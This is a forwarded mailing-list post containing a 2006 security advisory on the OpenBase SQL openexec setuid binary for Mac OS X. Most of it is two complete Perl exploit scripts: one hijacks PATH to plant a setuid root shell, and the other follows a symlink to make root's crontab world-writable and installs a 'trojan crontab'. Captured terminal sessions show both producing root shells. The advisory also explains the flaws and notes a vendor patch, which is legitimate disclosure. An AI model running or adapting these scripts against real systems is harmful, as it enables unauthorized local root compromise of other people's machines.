I think the list spam trap ate this message a few weeks ago.
--- Begin Message ---
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm
can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install
-uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty
to prove the point.
#
# Tested against OpenBase10.0.0_MacOSX.dmg
$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.
$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";
unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";
foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a - $b\n";
}
print "\n";
exit 1;
}
$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";
open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root:
/tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";
open(OP,">/tmp/pwns.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh
-i\"); }\n";
system("gcc -o /tmp/finisterre /tmp/finisterre.c");
system("gcc -o /tmp/pwns /tmp/pwns.c");
system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");
system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against OpenBase10.0.0_MacOSX.dmg
$dest = "/var/cron/tabs/root";
$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.
# In this instance targets are really pointless but I wanted to archive known
vulnerable versions while testing.
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";
unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";
foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a\n";
}
print "\n";
exit 1;
}
$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";
open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh
-i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c");
# Create a user crontab FIRST! This ensures that cron is running when the fake
root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");
# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60; # Probably don't need to wait this long but whatever...
system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";
system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod
4755 /Users/Shared/shX' > /var/cron/tabs/root");
print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;
system("/Users/Shared/shX");
DMA[2006-1107a] - 'OpenBase SQL multiple vulnerabilities Part Deux'
Author: Kevin Finisterre
Vendor(s): http://www.openbase.com
Product: 'OpenBase SQL <=10.0 (?)'
References:
http://www.digitalmunition.com/DMA[2006-1107a].txt
Description:
(regurgitation warning - this may taste VERY familiar)
For over a decade, the OpenBase family of products have been enabling some of
the most innovative business applications
at work today. With thousands of customers worldwide, OpenBase has become a
brand that companies can rely on. OpenBase
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank
of Chicago, MCI, Motorola, Apple, The
Sharper Image and many other innovators worldwide.
As mentioned previously several setuid root binaries from OpenBase SQL are
placed in /Library/OpenBase/bin during the
installation of WebObjects support for Xcode or during a standard OpenBase
install. In this particular instance we will
be dealing only with the openexec binary.
pwnercycles-ibook:/tmp pwnercycle$ ls -al /Library/OpenBase/bin/openexec
-rwsrwsr-x 1 root admin 189544 Jan 13 2005 /Library/OpenBase/bin/openexec
The openexec binary makes poor use of its setuid privileges when calling
various helper binaries such as: cp, rm and killall.
Each of the mentioned binaries winds up being called while openexec is running
as root. Using the PATH environment variable
it is possible to influence openbase in a manor that forces it to call the
various helper binaries from a location of the
attackers choice. Manipulating openexec via its path is an easy way for an
attacker to obtain root.
pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl
Usage: ./openexec_duh.pl <target>
Targets:
0 . cp - /Library/OpenBase/bin/openexec -install
1 . killall - /Library/OpenBase/bin/openexec -kill
2 . rm - /Library/OpenBase/bin/openexec -uninstall
pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 1
*** Target: killall - /Library/OpenBase/bin/openexec -kill
/bin/cp /tmp/finisterre /tmp/killall
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr),
80(admin)
The next issue with the openexec binary results in an attacker being able to
place a root owned and world writable file anywhere on
the target file system. Again the end result is a local root compromise, in
this case a little cron nastiness is required.
When an openexec instance starts a log is written to /tmp/output. Unfortunately
when this log file is created openexec takes no
objections to a symlink in place of the filename. A symlink can point to
virtually anywhere on the filesystem so an attacker has many
options at his disposal. In most cases being able to create a file alone will
not get you root access. The proper umask and a crafty
file location can make all the difference in the world in some instances.
Having the ability to place a root owned file with rw-rw-rw- permissions
anywhere on the filesystem is quite powerful. On Linux based
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation
path to obtain root. Apple's OSX unfortunately has no
such facility to abuse. After some research the most expediant way I could come
up with to obtain root via rw-rw-rw- file creation was
cron abuse.
On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron
even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off
/usr/sbin/cron after a valid crontab is saved.
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2340 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycles-ibook:/tmp pwnercycle$ crontab -e
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2344 ?? Ss 0:00.01 /usr/sbin/cron
2346 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycle
According to the man page 'cron checks each minute to see if its spool
directory's modtime (or the modtime on /etc/crontab) has changed,
and if it has, cron will then examine the modtime on all crontabs and reload
those which have changed. Thus cron need not be restarted
whenever a crontab file is modified'.
Wow how perfect is that! 1.) crontab -e to start cron 2.) create
/var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.
pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl
Usage: ./openexec_createfile.pl <target>
Targets:
0 . OpenBase10.0.0_MacOSX.dmg
pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 0
*** Target: OpenBase10.0.0_MacOSX.dmg /Library/OpenBase/bin/openexec
deactivating OpenBase Service
No matching processes belonging to you were found
No matching processes belonging to you were found
No matching processes belonging to you were found
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr),
80(admin)
Semi-insta root ala Apple's cron.
Workaround:
If you are using Xcode with WebObjects support you *may* be vulnerable to this
issue. In a recent WebObjects update apple suggests to
download the latest version of OpenBase directly from the vendor as a
workaround to an other Outstanding Issue. Downloading with
lastest vendor patches will effectively curb this issue.
OpenBase has stated that this problem has been fixed in OpenBase 10.0.1 and
that all users should download the new version.
Thanks to Apple Staff for help coordinating with OpenBase. Even more thanks to
OpenBase for the instant / weekend patch.
--- End Message ---
